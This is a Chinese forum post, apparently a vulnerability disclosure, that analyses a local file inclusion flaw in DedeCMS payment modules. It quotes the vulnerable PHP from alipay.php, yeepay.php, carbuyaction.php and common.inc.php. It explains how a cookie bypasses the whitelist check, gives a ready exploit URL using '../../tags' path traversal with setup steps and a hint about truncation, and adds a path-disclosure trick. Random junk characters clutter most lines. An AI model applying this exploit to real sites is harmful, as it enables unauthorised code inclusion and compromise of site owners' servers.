晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯). r& y3 h. | z2 o
! ~, r( u2 [, |) R. d出现漏洞的两个文件为:
, @. g: t' Z* D5 A. L2 `! eInclude/payment/alipay.php
6 i7 s: w9 A3 _Include/payment/yeepay.php6 d3 v0 F7 l1 o* r2 i# Q2 f
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
2 t: s+ C! L* e$ i- X' j& y1 ^4 U3 r0 e' }' h+ E: `- H9 J/ I# Y9 j
Include/payment/alipay.php
j1 f$ T& W; c k( j, `
8 ^( Z, c% f: d4 o& O+ I F......
0 c3 _: G) U' {8 D function respond()
/ Z2 R% W4 r: E1 r3 T {, h) i! u' ?9 j1 T+ z5 K& i
if (!empty($_POST))/ ]$ C& \2 u! [$ P8 ~7 z
{
; H4 l5 M; w; c; r0 }' q4 \8 w foreach($_POST as $key => $data)8 X$ b- w( |$ e/ g B
{
& v1 D8 D* p* [+ e' z $_GET[$key] = $data;
& N6 ^3 f" ]9 F/ ]5 I/ K }( Y9 |$ w1 f* ]+ c
}
, P0 a: U. D* c2 k7 p4 a, x: k /* 引入配置文件 */
- \0 Y- {# N/ v/ C; p6 ~# h6 E require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';2 E9 f0 R0 L( W4 |
...... & Q5 R. ^/ @3 g5 r" w
9 Y q, v; j( {
5 E& U+ X n0 Q4 Z U8 U H& J大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。2 T. x0 a( c9 G" T9 B# L8 I
9 i5 l6 W% J8 r: F
Include/payment/yeepay.php' I$ d" ]- d8 H0 ? a! H' z0 a8 x) r
4 ?9 q+ x) [4 P8 ] : s5 A+ \/ n# v
" J) c2 z/ F$ i& k
......
& ^+ i8 m( ^+ ?0 D" b function respond()6 G$ E6 P9 G& W" R3 |1 ^
{
1 p& Y5 v8 p8 B9 ^, d5 ^& I 8 `' _) P! c2 ~' z9 t3 x
/* 引入配置文件 */
: `8 p& A3 @8 V, g3 I. P8 i require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';6 x+ ^ t) m- Y& W* Y5 a
# `! t$ d0 ?% @' C, C4 C7 J" [) x. H8 Z $p1_MerId = trim($payment['yp_account']);) a& f }/ t" [7 F* V) S
$merchantKey = trim($payment['yp_key']);/ G( \( u7 A" q/ F L- w& }
...... % o: r7 }2 n4 O
) j! x0 M5 X+ d: {' \" `# A% j( `+ n' ~2 X5 J/ E2 s2 [/ J6 D
8 R$ _4 X5 a1 r2 y+ R: p* c/ a
0 F( M; R0 q: [' l" ], f) R7 }! D大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
# S' A3 d& \( @8 n8 P: C
6 S$ x7 g) S; J这两个方法在plus/carbuyaction.php文件调用。" b1 o) r F& r. M& j
/ ~( g: Z: _ T
plus/carbuyaction.php8 S& q5 c9 ?) x7 b8 r
5 ?! P& Z( e3 }0 ?* F- u, }
......% \5 G# v* X) V; Z
} else if ($dopost == 'return') {
+ ?* l) ^. f* a, y0 i6 L7 p: v $write_list = array('alipay', 'bank', 'cod', 'yeepay');9 x4 D2 P" X; m5 V- X3 o! q
if (in_array($code, $write_list))& ]% ]6 K; G5 ] H
{
' W9 A: y* y" h. P require_once DEDEINC.'/payment/'.$code.'.php';
5 r& S9 w4 B2 A9 A $pay = new $code;3 i- W9 Z, h+ [4 A, S. e$ \
$msg=$pay->respond();
6 e6 F( i, m3 i6 Z. l6 b ShowMsg($msg, "javascript:;", 0, 3000);( g% y5 f; N- p2 k
exit(); 9 p2 s* g" ~/ {( r
} else {
1 W# T2 v$ E% s5 J2 r4 H4 Y exit('Error:File Type Can\'t Recognized!');+ Q7 E2 F: B( S5 A
}/ `$ b' @1 l4 c8 f* a
}
7 p8 x$ L6 @: Y...... ' t; M8 {' b6 K# u2 o& I* [
. s$ \& `: I E3 u6 I
2 |# d& z# [( g, }2 s5 i# A : p6 v2 o7 w& B2 M$ P+ D2 I
2 r, Z, _9 k! J+ E3 B% G
# h9 ]4 T! C' `, x W/ i# e" K+ f
0 I/ ]2 f1 w! n& l' E7 D大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。# J4 n$ \4 J0 W
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
5 u h- ^$ [' \5 Q8 J' D- _
' r* Y' k( x4 L" v) V' H' s1 }回到include/common.inc.php来看看他的机制。
3 W; X% }- j; o3 I
7 I9 |: Z% \2 v3 ~- Q
' N: @9 I+ v2 V+ `
1 o0 N$ [8 \2 V. h......% X: @8 f1 P) J0 U) R8 ^# p9 ~
foreach(Array('_GET','_POST','_COOKIE') as $_request)) U2 Y+ K' T4 q# ]" g, Z* f% g/ F U$ ~
{
' S: C3 X. T& t' P/ t8 X foreach($$_request as $_k => $_v) l! l1 c6 U3 Q- y
{: W2 ~( T0 Y! s7 B1 Z: }( R( |
if($_k == 'nvarname') ${$_k} = $_v;/ B" W. A/ u/ U a% ?" p/ y
else ${$_k} = _RunMagicQuotes($_v);7 Q8 d1 W* K! e* `( k2 Z6 u
}' Q) Z) n. O6 |, G- N- V+ D# e! Z& y
}# c# ?, l6 d* I/ g1 ^& s
...... 0 }5 J" J& L4 c6 g" C
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:2 Z6 {1 y8 r2 u/ R5 K- j( ~
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |